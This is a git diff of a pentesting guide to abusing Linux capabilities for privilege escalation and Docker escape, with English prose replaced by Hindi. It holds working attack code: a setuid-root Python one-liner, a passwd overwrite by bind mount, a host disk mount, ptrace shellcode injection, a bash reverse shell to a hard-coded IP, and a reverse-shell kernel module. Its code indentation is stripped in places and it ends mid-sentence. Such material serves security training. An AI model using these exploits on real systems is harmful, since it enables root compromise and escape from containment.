Add a capabilities docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash @@ -345,21 +309,11 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` - -​ - -
- -​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## Privesc/Container Escape -Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. - -You can force capabilities upon programs using `setcap`, and query these using `getcap`: +Capabilities तब उपयोगी होती हैं जब आप **विशिष्ट कार्यों को करने के बाद अपने स्वयं के प्रक्रियाओं को प्रतिबंधित करना चाहते हैं** (जैसे chroot सेट करने और एक सॉकेट से बाइंड करने के बाद)। हालाँकि, इन्हें दुर्भावनापूर्ण कमांड या तर्कों को पास करके शोषित किया जा सकता है, जिन्हें फिर रूट के रूप में चलाया जाता है। +आप `setcap` का उपयोग करके कार्यक्रमों पर क्षमताएँ लागू कर सकते हैं, और इन्हें `getcap` का उपयोग करके पूछ सकते हैं: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -368,19 +322,15 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` +`+ep` का मतलब है कि आप क्षमता जोड़ रहे हैं (“-” इसे हटा देगा) जिसे प्रभावी और अनुमत माना जाता है। -The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted. - -To identify programs in a system or folder with capabilities: - +सिस्टम या फ़ोल्डर में क्षमताओं वाले कार्यक्रमों की पहचान करने के लिए: ```bash getcap -r / 2>/dev/null ``` +### शोषण उदाहरण -### Exploitation example - -In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: - +निम्नलिखित उदाहरण में बाइनरी `/usr/bin/python2.6` प्रिवेस्क के लिए कमजोर पाई जाती है: ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -388,46 +338,38 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` - -**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: - +**Capabilities** जो `tcpdump` को **किसी भी उपयोगकर्ता को पैकेट्स को स्निफ़ करने** की अनुमति देती हैं: ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` +### "खाली" क्षमताओं का विशेष मामला -### The special case of "empty" capabilities +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): ध्यान दें कि किसी प्रोग्राम फ़ाइल को खाली क्षमता सेट सौंपा जा सकता है, और इस प्रकार एक सेट-यूज़र-आईडी-रूट प्रोग्राम बनाना संभव है जो उस प्रक्रिया के प्रभावी और सहेजे गए सेट-यूज़र-आईडी को 0 में बदल देता है जो प्रोग्राम को निष्पादित करता है, लेकिन उस प्रक्रिया को कोई क्षमताएँ नहीं देता। या, सरल शब्दों में, यदि आपके पास एक बाइनरी है जो: -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: +1. रूट द्वारा स्वामित्व में नहीं है +2. जिसमें कोई `SUID`/`SGID` बिट सेट नहीं है +3. जिसमें खाली क्षमताएँ सेट हैं (जैसे: `getcap myelf` `myelf =ep` लौटाता है) -1. is not owned by root -2. has no `SUID`/`SGID` bits set -3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`) - -then **that binary will run as root**. +तो **वह बाइनरी रूट के रूप में चलेगी**। ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface. +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** एक अत्यधिक शक्तिशाली Linux क्षमता है, जिसे अक्सर इसके व्यापक **प्रशासनिक विशेषाधिकारों** के कारण लगभग रूट स्तर के बराबर माना जाता है, जैसे कि उपकरणों को माउंट करना या कर्नेल सुविधाओं में हेरफेर करना। जबकि संपूर्ण सिस्टम का अनुकरण करने वाले कंटेनरों के लिए यह अनिवार्य है, **`CAP_SYS_ADMIN` महत्वपूर्ण सुरक्षा चुनौतियाँ प्रस्तुत करता है**, विशेष रूप से कंटेनरयुक्त वातावरण में, इसके विशेषाधिकार वृद्धि और सिस्टम समझौते की संभावनाओं के कारण। इसलिए, इसके उपयोग के लिए कठोर सुरक्षा आकलनों और सतर्क प्रबंधन की आवश्यकता होती है, जिसमें **कम से कम विशेषाधिकार के सिद्धांत** का पालन करने और हमले की सतह को कम करने के लिए एप्लिकेशन-विशिष्ट कंटेनरों में इस क्षमता को छोड़ने की मजबूत प्राथमिकता होती है। **Example with binary** - ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` - -Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: - +आप पाइथन का उपयोग करके असली _passwd_ फ़ाइल के ऊपर एक संशोधित _passwd_ फ़ाइल माउंट कर सकते हैं: ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` - -And finally **mount** the modified `passwd` file on `/etc/passwd`: - +और अंत में **mount** किए गए संशोधित `passwd` फ़ाइल को `/etc/passwd` पर: ```python from ctypes import * libc = CDLL("libc.so.6") @@ -440,32 +382,28 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` +और आप पासवर्ड "password" का उपयोग करके **`su` as root** करने में सक्षम होंगे। -And you will be able to **`su` as root** using password "password". - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**पर्यावरण के साथ उदाहरण (Docker ब्रेकआउट)** +आप docker कंटेनर के अंदर सक्षम क्षमताओं की जांच कर सकते हैं: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -Inside the previous output you can see that the SYS_ADMIN capability is enabled. +पिछले आउटपुट में आप देख सकते हैं कि SYS_ADMIN क्षमता सक्षम है। - **Mount** -This allows the docker container to **mount the host disk and access it freely**: - +यह डॉकर कंटेनर को **होस्ट डिस्क को माउंट करने और इसे स्वतंत्र रूप से एक्सेस करने** की अनुमति देता है: ```bash fdisk -l #Get disk name Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors @@ -477,12 +415,10 @@ mount /dev/sda /mnt/ #Mount it cd /mnt chroot ./ bash #You have a shell inside the docker hosts disk ``` +- **पूर्ण पहुँच** -- **Full access** - -In the previous method we managed to access the docker host disk.\ -In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: - +पिछली विधि में हम डॉकर होस्ट डिस्क तक पहुँचने में सफल रहे।\ +यदि आप पाते हैं कि होस्ट एक **ssh** सर्वर चला रहा है, तो आप **डॉकर होस्ट** डिस्क के अंदर एक उपयोगकर्ता बना सकते हैं और SSH के माध्यम से उस तक पहुँच सकते हैं: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -496,15 +432,13 @@ nc -v -n -w2 -z 172.17.0.1 1-65535 chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` - ## CAP_SYS_PTRACE -**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. +**इसका मतलब है कि आप होस्ट के अंदर चल रहे किसी प्रक्रिया में शेलकोड इंजेक्ट करके कंटेनर से बाहर निकल सकते हैं।** होस्ट के अंदर चल रही प्रक्रियाओं तक पहुँचने के लिए कंटेनर को कम से कम **`--pid=host`** के साथ चलाना होगा। -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53). +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** `ptrace(2)` द्वारा प्रदान की गई डिबगिंग और सिस्टम कॉल ट्रेसिंग कार्यक्षमताओं का उपयोग करने की क्षमता प्रदान करता है और `process_vm_readv(2)` और `process_vm_writev(2)` जैसे क्रॉस-मेमोरी अटैच कॉल्स। हालांकि यह निदान और निगरानी के उद्देश्यों के लिए शक्तिशाली है, यदि `CAP_SYS_PTRACE` को `ptrace(2)` पर प्रतिबंधात्मक उपायों जैसे कि सेकंप फ़िल्टर के बिना सक्षम किया जाता है, तो यह सिस्टम सुरक्षा को महत्वपूर्ण रूप से कमजोर कर सकता है। विशेष रूप से, इसका उपयोग अन्य सुरक्षा प्रतिबंधों को दरकिनार करने के लिए किया जा सकता है, विशेष रूप से उन पर जो सेकंप द्वारा लगाए गए हैं, जैसा कि [इस तरह के प्रमाणों (PoC) द्वारा प्रदर्शित किया गया है](https://gist.github.com/thejh/8346f47e359adecd1d53)। **Example with binary (python)** - ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep @@ -524,35 +458,35 @@ PTRACE_DETACH = 17 # Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): - _fields_ = [ - ("r15", ctypes.c_ulonglong), - ("r14", ctypes.c_ulonglong), - ("r13", ctypes.c_ulonglong), - ("r12", ctypes.c_ulonglong), - ("rbp", ctypes.c_ulonglong), - ("rbx", ctypes.c_ulonglong), - ("r11", ctypes.c_ulonglong), - ("r10", ctypes.c_ulonglong), - ("r9", ctypes.c_ulonglong), - ("r8", ctypes.c_ulonglong), - ("rax", ctypes.c_ulonglong), - ("rcx", ctypes.c_ulonglong), - ("rdx", ctypes.c_ulonglong), - ("rsi", ctypes.c_ulonglong), - ("rdi", ctypes.c_ulonglong), - ("orig_rax", ctypes.c_ulonglong), - ("rip", ctypes.c_ulonglong), - ("cs", ctypes.c_ulonglong), - ("eflags", ctypes.c_ulonglong), - ("rsp", ctypes.c_ulonglong), - ("ss", ctypes.c_ulonglong), - ("fs_base", ctypes.c_ulonglong), - ("gs_base", ctypes.c_ulonglong), - ("ds", ctypes.c_ulonglong), - ("es", ctypes.c_ulonglong), - ("fs", ctypes.c_ulonglong), - ("gs", ctypes.c_ulonglong), - ] +_fields_ = [ +("r15", ctypes.c_ulonglong), +("r14", ctypes.c_ulonglong), +("r13", ctypes.c_ulonglong), +("r12", ctypes.c_ulonglong), +("rbp", ctypes.c_ulonglong), +("rbx", ctypes.c_ulonglong), +("r11", ctypes.c_ulonglong), +("r10", ctypes.c_ulonglong), +("r9", ctypes.c_ulonglong), +("r8", ctypes.c_ulonglong), +("rax", ctypes.c_ulonglong), +("rcx", ctypes.c_ulonglong), +("rdx", ctypes.c_ulonglong), +("rsi", ctypes.c_ulonglong), +("rdi", ctypes.c_ulonglong), +("orig_rax", ctypes.c_ulonglong), +("rip", ctypes.c_ulonglong), +("cs", ctypes.c_ulonglong), +("eflags", ctypes.c_ulonglong), +("rsp", ctypes.c_ulonglong), +("ss", ctypes.c_ulonglong), +("fs_base", ctypes.c_ulonglong), +("gs_base", ctypes.c_ulonglong), +("ds", ctypes.c_ulonglong), +("es", ctypes.c_ulonglong), +("fs", ctypes.c_ulonglong), +("gs", ctypes.c_ulonglong), +] libc = ctypes.CDLL("libc.so.6") @@ -576,13 +510,13 @@ shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5 # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): - # Convert the byte to little endian. - shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) - shellcode_byte_little_endian=struct.pack("& /dev/tcp/192.168.115.135/5656 0>&1'") ``` - -You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). +आप कमांड के निष्पादन का आउटपुट नहीं देख पाएंगे लेकिन यह प्रक्रिया द्वारा निष्पादित किया जाएगा (इसलिए एक रिवर्स शेल प्राप्त करें)। > [!WARNING] -> If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. +> यदि आपको "वर्तमान संदर्भ में कोई प्रतीक "system" नहीं है।" त्रुटि मिलती है, तो gdb के माध्यम से एक प्रोग्राम में शेलकोड लोड करने के पिछले उदाहरण की जांच करें। -**Example with environment (Docker breakout) - Shellcode Injection** - -You can check the enabled capabilities inside the docker container using: +**पर्यावरण के साथ उदाहरण (Docker ब्रेकआउट) - शेलकोड इंजेक्शन** +आप docker कंटेनर के अंदर सक्षम क्षमताओं की जांच कर सकते हैं: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root ``` +सूची **प्रक्रियाएँ** जो **होस्ट** में चल रही हैं `ps -eaf` -List **processes** running in the **host** `ps -eaf` - -1. Get the **architecture** `uname -m` -2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) -4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` -5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` +1. **आर्किटेक्चर** प्राप्त करें `uname -m` +2. आर्किटेक्चर के लिए एक **शेलकोड** खोजें ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. एक **प्रोग्राम** खोजें जो **शेलकोड** को एक प्रक्रिया की मेमोरी में **इंजेक्ट** करे ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +4. प्रोग्राम के अंदर **शेलकोड** को **संशोधित** करें और इसे **संकलित** करें `gcc inject.c -o inject` +5. इसे **इंजेक्ट** करें और अपनी **शेल** प्राप्त करें: `./inject 299; nc 172.17.0.1 5600` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation. -**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** एक प्रक्रिया को **कर्नेल मॉड्यूल लोड और अनलोड करने की अनुमति देता है (`init_module(2)`, `finit_module(2)` और `delete_module(2)` सिस्टम कॉल)**, जो कर्नेल के मुख्य संचालन तक सीधी पहुँच प्रदान करता है। यह क्षमता महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करती है, क्योंकि यह विशेषाधिकार वृद्धि और कुल प्रणाली के समझौते की अनुमति देती है, जिससे कर्नेल में संशोधन संभव होता है, इस प्रकार सभी Linux सुरक्षा तंत्रों, जिसमें Linux सुरक्षा मॉड्यूल और कंटेनर अलगाव शामिल हैं, को बायपास किया जा सकता है। +**इसका मतलब है कि आप** **होस्ट मशीन के कर्नेल में कर्नेल मॉड्यूल डाल/निकाल सकते हैं।** -**Example with binary** - -In the following example the binary **`python`** has this capability. +**बाइनरी के साथ उदाहरण** +निम्नलिखित उदाहरण में बाइनरी **`python`** के पास यह क्षमता है। ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` - -By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ -In order to abuse this, lets create a fake **lib/modules** folder: - +डिफ़ॉल्ट रूप से, **`modprobe`** कमांड निर्भरता सूची और फ़ाइलों को **`/lib/modules/$(uname -r)`** निर्देशिका में जांचता है।\ +इसका दुरुपयोग करने के लिए, चलिए एक नकली **lib/modules** फ़ोल्डर बनाते हैं: ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` - -Then **compile the kernel module you can find 2 examples below and copy** it to this folder: - +फिर **कर्नेल मॉड्यूल को संकलित करें, आप नीचे 2 उदाहरण पा सकते हैं और इसे** इस फ़ोल्डर में कॉपी करें: ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` - -Finally, execute the needed python code to load this kernel module: - +अंत में, इस कर्नेल मॉड्यूल को लोड करने के लिए आवश्यक पायथन कोड निष्पादित करें: ```python import kmod km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` +**उदाहरण 2 बाइनरी के साथ** -**Example 2 with binary** - -In the following example the binary **`kmod`** has this capability. - +निम्नलिखित उदाहरण में बाइनरी **`kmod`** में यह क्षमता है। ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` +इसका मतलब है कि **`insmod`** कमांड का उपयोग करके एक कर्नेल मॉड्यूल डालना संभव है। इस विशेषाधिकार का दुरुपयोग करते हुए **reverse shell** प्राप्त करने के लिए नीचे दिए गए उदाहरण का पालन करें। -Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**पर्यावरण के साथ उदाहरण (Docker ब्रेकआउट)** +आप डॉकर कंटेनर के अंदर सक्षम क्षमताओं की जांच कर सकते हैं: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +**SYS_MODULE** क्षमता सक्षम है। -Inside the previous output you can see that the **SYS_MODULE** capability is enabled. - -**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: - +**एक** **कर्नेल मॉड्यूल** बनाएं जो एक रिवर्स शेल को निष्पादित करेगा और **Makefile** इसे **संकलित** करने के लिए: ```c:reverse-shell.c #include #include @@ -779,11 +689,11 @@ static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/ // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { - return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { - printk(KERN_INFO "Exiting\n"); +printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); @@ -794,26 +704,22 @@ module_exit(reverse_shell_exit); obj-m +=reverse-shell.o all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` - > [!WARNING] -> The blank char before each make word in the Makefile **must be a tab, not spaces**! - -Execute `make` to compile it. +> Makefile में प्रत्येक make शब्द से पहले का खाली चर **एक टैब होना चाहिए, स्पेस नहीं**! +इसे संकलित करने के लिए `make` चलाएँ। ``` ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` - -Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: - +अंत में, एक शेल के अंदर `nc` शुरू करें और **मॉड्यूल लोड करें** एक अन्य से और आप nc प्रक्रिया में शेल को कैप्चर करेंगे: ```bash #Shell 1 nc -lvnp 4444 @@ -821,67 +727,57 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` +**इस तकनीक का कोड "SYS_MODULE क्षमता का दुरुपयोग" के प्रयोगशाला से कॉपी किया गया था** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) -**The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) +इस तकनीक का एक और उदाहरण [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) में पाया जा सकता है ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) एक प्रक्रिया को **फाइलों को पढ़ने और निर्देशिकाओं को पढ़ने और निष्पादित करने के लिए अनुमतियों को बायपास करने** की अनुमति देता है। इसका प्राथमिक उपयोग फाइल खोजने या पढ़ने के उद्देश्यों के लिए है। हालाँकि, यह एक प्रक्रिया को `open_by_handle_at(2)` फ़ंक्शन का उपयोग करने की भी अनुमति देता है, जो किसी भी फ़ाइल तक पहुँच सकता है, जिसमें वे फ़ाइलें भी शामिल हैं जो प्रक्रिया के माउंट नामस्थान के बाहर हैं। `open_by_handle_at(2)` में उपयोग किया जाने वाला हैंडल एक गैर-प्रत्यक्ष पहचानकर्ता होना चाहिए जो `name_to_handle_at(2)` के माध्यम से प्राप्त किया गया हो, लेकिन इसमें संवेदनशील जानकारी जैसे कि इनोड नंबर शामिल हो सकते हैं जो छेड़छाड़ के प्रति संवेदनशील होते हैं। इस क्षमता के शोषण की संभावना, विशेष रूप से डॉकर कंटेनरों के संदर्भ में, सेबास्टियन क्राहमर द्वारा शॉकर शोषण के साथ प्रदर्शित की गई थी, जैसा कि [यहां](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) विश्लेषण किया गया है। +**इसका मतलब है कि आप** **फाइल पढ़ने की अनुमति की जांच और निर्देशिका पढ़ने/निष्पादित करने की अनुमति की जांच को बायपास कर सकते हैं।** -**Example with binary** - -The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: +**बाइनरी के साथ उदाहरण** +बाइनरी किसी भी फ़ाइल को पढ़ने में सक्षम होगी। इसलिए, यदि किसी फ़ाइल जैसे tar में यह क्षमता है, तो यह शैडो फ़ाइल को पढ़ने में सक्षम होगी: ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp cd /tmp tar -cxf shadow.tar.gz ``` - **Example with binary2** -In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: - +इस मामले में मान लीजिए कि **`python`** बाइनरी में यह क्षमता है। रूट फ़ाइलों की सूची बनाने के लिए आप कर सकते हैं: ```python import os for r, d, f in os.walk('/root'): - for filename in f: - print(filename) +for filename in f: +print(filename) ``` - -And in order to read a file you could do: - +और एक फ़ाइल पढ़ने के लिए आप कर सकते हैं: ```python print(open("/etc/shadow", "r").read()) ``` +**पर्यावरण में उदाहरण (Docker ब्रेकआउट)** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +आप docker कंटेनर के अंदर सक्षम क्षमताओं की जांच कर सकते हैं: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +पिछले आउटपुट में आप देख सकते हैं कि **DAC_READ_SEARCH** क्षमता सक्षम है। इसके परिणामस्वरूप, कंटेनर **प्रक्रियाओं को डिबग** कर सकता है। -Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. As a result, the container can **debug processes**. - -You can learn how the following exploiting works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP_DAC_READ_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open_by_handle_at(2)**_ and **could allow our process to sensitive files opened by other processes**. - -The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** +आप सीख सकते हैं कि निम्नलिखित शोषण कैसे काम करता है 